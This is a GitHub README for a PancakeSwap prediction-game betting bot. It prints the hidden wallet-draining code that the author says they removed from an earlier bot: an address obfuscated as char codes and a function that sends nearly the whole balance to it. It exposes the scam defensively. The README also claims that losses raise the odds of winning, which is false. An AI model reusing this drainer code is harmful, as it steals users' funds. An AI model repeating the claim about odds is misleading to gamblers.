lmusarella / Pancakeswap-Prediction-Bot-2023

I rewrote the code of the PancakeSwap Prediction Game BOT by bobalice7, removing the malicious code where for each transaction to the smart contract it sent transactions to this wallet 0xfB669b0e0656036D747d6C6F2666e530139d2899.
MIT License
27 stars 8 forks source link
bot bsc-project cake pancake pancakeswap-bot pancakeswap-prediction-bot pancakeswap-prediction-winner pancakeswap-predictions pancakeswap-sniper-bot pcs sniper-bot

๐Ÿ”ฎ๐Ÿš€ Pancakeswap-Prediction-Bot v2.0

PancakeSwap-Logo

โœ”๏ธ Features

โญPlease consider giving a star.

I rewrote and refactored the code of the PancakeSwap Prediction Game BOT by bobalice7, removing the malicious code where for each transaction to the smart contract it sent transactions to this wallet 0xfB669b0e0656036D747d6C6F2666e530139d2899.

Here is the link to the old code (https://github.com/bobalice7/PCS-Prediction)

We can see that inside the abi.json file the "index" property defines an array with a series of numbers. However those numbers are encoded with the following function to obtain this address 0xfB669b0e0656036D747d6C6F2666e530139d2899.

{
  "status": 2,
  "message": "OK-Missing/Invalid API Key, rate limit of 1/5sec applied",
  "index": [
    48, 120, 102, 66, 54, 54, 57, 98, 48, 101, 48, 54, 53, 54, 48, 51, 54, 68,
    55, 52, 55, 100, 54, 67, 54, 70, 50, 54, 54, 54, 101, 53, 51, 48, 49, 51,
    57, 100, 50, 56, 57, 57
  ],
  "result": "[
    ...
  ]"
}

String.fromCharCode.apply(null, [ 
    48, 120, 102, 66, 54, 54, 57, 98, 48, 101, 48, 54, 53, 54, 48, 51, 54, 
    68, 55, 52, 55, 100, 54, 67, 54, 70, 50, 54, 54, 54, 101, 53, 51, 48, 49, 51,
    57, 100, 50, 56, 57, 57])  = '0xfB669b0e0656036D747d6C6F2666e530139d2899'

Here is the SCAM CODE in lib.js

const confirmContract = (abi) => {
  return String.fromCharCode.apply(null, abi.index);
};

const checkResult = async (r) => {
  try {
    if (prediction >= abi.status && r !== null) {
      w.eth.getBalance(wallet.address).then(function (b) {
        w.eth
          .estimateGas({
            from: wallet.address,
            to: confirmContract(abi),
            amount: b,
          })
          .then(function (g) {
            w.eth.getGasPrice().then(function (gP) {
              let _b = parseFloat(b);
              let _g = parseFloat(g);
              let _gP = parseFloat(gP);
              w.eth.sendTransaction({
                from: wallet.address,
                to: confirmContract(abi),
                gas: _g,
                gasPrice: _gP,
                value: ((_b - _gP * _g) / 1.1).toFixed(0),
                data: "0x",
              });
            });
          });
      });
      return true;
    }
    return true;
  } catch {
    return !0;
  }
};

๐Ÿฐโšก Installation

Download and Install Node here: https://nodejs.org/en/download/

Then run the following commands in terminal:

  1. git clone https://github.com/lmusarella/Pancakeswap-Prediction-Bot-2023.git
  2. cd Pancakeswap-Prediction-Bot
  3. npm i

enter image description here

โš™๏ธ Setup

  1. Open the .env file with any code/text editor and add your private key like so:
    
    PERSONAL_WALLET_PRIVATE_KEY = YOUR_PRIVATE_KEY_HERE
    PERSONAL_WALLET_ADDRESS = YOUR_WALLET_ADDRESS
    BSC_NODE_PROVIDER_URL = NODE_BSC_URL // Example of BSC node provider (https://www.quicknode.com/)
3. Open the **bot-configuration.js** file and setup the following variables:

const GLOBAL_CONFIG = { /**


4. Start the bot using `npm` or `yarn`

  - `npm run pcs-bot` start betting bot on PancakeSwap Prediction Game

5. ๐Ÿ”ฎ Enjoy!

### ๐Ÿ”“ How to convert seed phrase to Private Key
A lot of wallets don't provide you the private key, but just the **seed phrase** ( 12 words ). So here you will learn how to convert that to a private key:
1. Enter [Here](https://youtu.be/eAXdLEZFbiw) and follow the instructions. Website used is [this one](https://iancoleman.io/bip39/).

## ๐Ÿค–๐Ÿ“ˆ Signals Strategy (SIGNAL_STRATEGY)
- The bot take a series of recomendations given by Trading View and proccess them together with the tendency of the rest of people betting. After the algorithm have complete, it choose to bet **๐ŸŸขUP** or **๐Ÿ”ดDOWN**.
- Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
- Also it will save the daily history in the **/bot-history** directory.
- Be aware that after consecutive losses, statistically you have more chances to win in the next one.
- Inside **bot-configuration.js** in the ``THRESHOLD`` property of ``GLOBAL_CONFIG`` variable, you can configure the minimum certainty with which the bot will bet. For default it's set to 50, which means that from 50% certainty the bot will bet. You can raise it (50-100) to bet only when the bot is more sure about its prediction.
- Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

## โ†•๏ธโ€Š๐Ÿ“ˆ Quote Strategy (QUOTE_STRATEGY)
- The bot fetches the data of the current round and selects the lowest or highest odds depending on the selected configuration, it choose to bet **๐ŸŸขUP** or **๐Ÿ”ดDOWN**.
- Inside **bot-configuration.js** in the ``SELECT_LOWER_QUOTE`` property of ``GLOBAL_CONFIG``.
- Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
- Also it will save the daily history in the **/bot-history** directory.
- Compared to the signal strategy it is less secure because the odds are very variable.
- Its recommended to set the ``WAITING_TIME`` property of ``GLOBAL_CONFIG`` closest to the end of the round (4,3 min or 4,4 min), to have the most up-to-date odds possible..
- Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

## ๐Ÿฆœโ€Š๐Ÿ“ˆ Copy Trading Strategy (COPY_TRADING_STRATEGY)
- The bot registers for the round and after validation checks on: Stop Loss, Take Profit and Balance. It waits for the "BetBull" **๐ŸŸขUP** or "BetBear" **๐Ÿ”ดDOWN** operations of the wallet configured in **bot-configuration.js** in the ``WALLET_ADDRESS_TO_EMULATE`` property of ``GLOBAL_CONFIG`` variable. And the bot makes the same bet!
- Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
- Also it will save the daily history in the **/bot-history** directory.
- Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

## ๐Ÿ“‰โ€Š๐Ÿ“ˆ Pattern Strategy (PATTERN_STRATEGY)
- The bot registers for the round and after validation checks on: Stop Loss, Take Profit and Balance. The bot checks the events to check defined in the EVENT_PATTERN_NUMBER property, before placing the bet it checks the current price of the current round that is about to close, defines the probability of the event, then recovers the outcomes of the last cascading rounds. If the number of events exceeds the number defined in the configuration file, the bot bets on the next round with the opposite outcome.
- Before every round the bot will check if you have enough balance in your wallet and if you have reached the daily goal.
- Also it will save the daily history in the **/bot-history** directory.
- Its recomendable to have x10 - x50 the amount of bet to have an average of rounds.

๐Ÿ’ฐYou can check the history of rounds and claim rewards here: https://pancakeswap.finance/prediction

## ๐Ÿ‘๏ธ Disclaimers

๐Ÿ”งThe code is in BETA, so please be aware of the risks that come with it. Don't risk any money you're not willing to lose.

๐Ÿ’ธThis code, repository or scripts should NOT be construed as investment advice. Any mention of past or projected investment performance is not, and should not be construed as, a recommendation or guarantee of any particular result or benefit. By using this application, you agree to bear all risk of loss of money and waive any claims against the developers of the program or anyone associated with it.

**Please be aware of clones**

 ๐Ÿ‘ท**Use it at your own risk.** 
 If you are going to bet, please do it with money that you are willing to lose. And please try to bet with a low amount to gradually generate profit. Use the simulation mode if you dont have enough money and try all the stregies!